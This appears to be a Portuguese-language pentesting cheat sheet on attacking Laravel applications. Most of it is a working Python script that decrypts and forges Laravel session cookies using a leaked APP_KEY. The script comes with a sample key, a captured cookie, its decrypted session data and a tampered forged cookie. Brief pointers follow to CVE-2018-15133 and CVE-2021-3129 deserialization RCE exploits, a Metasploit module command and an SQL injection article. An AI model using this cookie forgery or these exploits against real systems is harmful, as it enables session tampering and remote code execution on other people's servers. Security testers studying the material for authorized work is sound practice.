Usando a APP\_KEY secreta do Laravel, você pode descriptografar e recriptografar cookies: ### Descriptografar Cookie ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return '' def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, 'utf-8') value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) Aqui você pode encontrar informações sobre a vulnerabilidade de deserialização aqui: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Você pode testar e explorar usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Ou você também pode explorá-lo com metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 Outra deserialização: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) ### Laravel SQLInjection Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
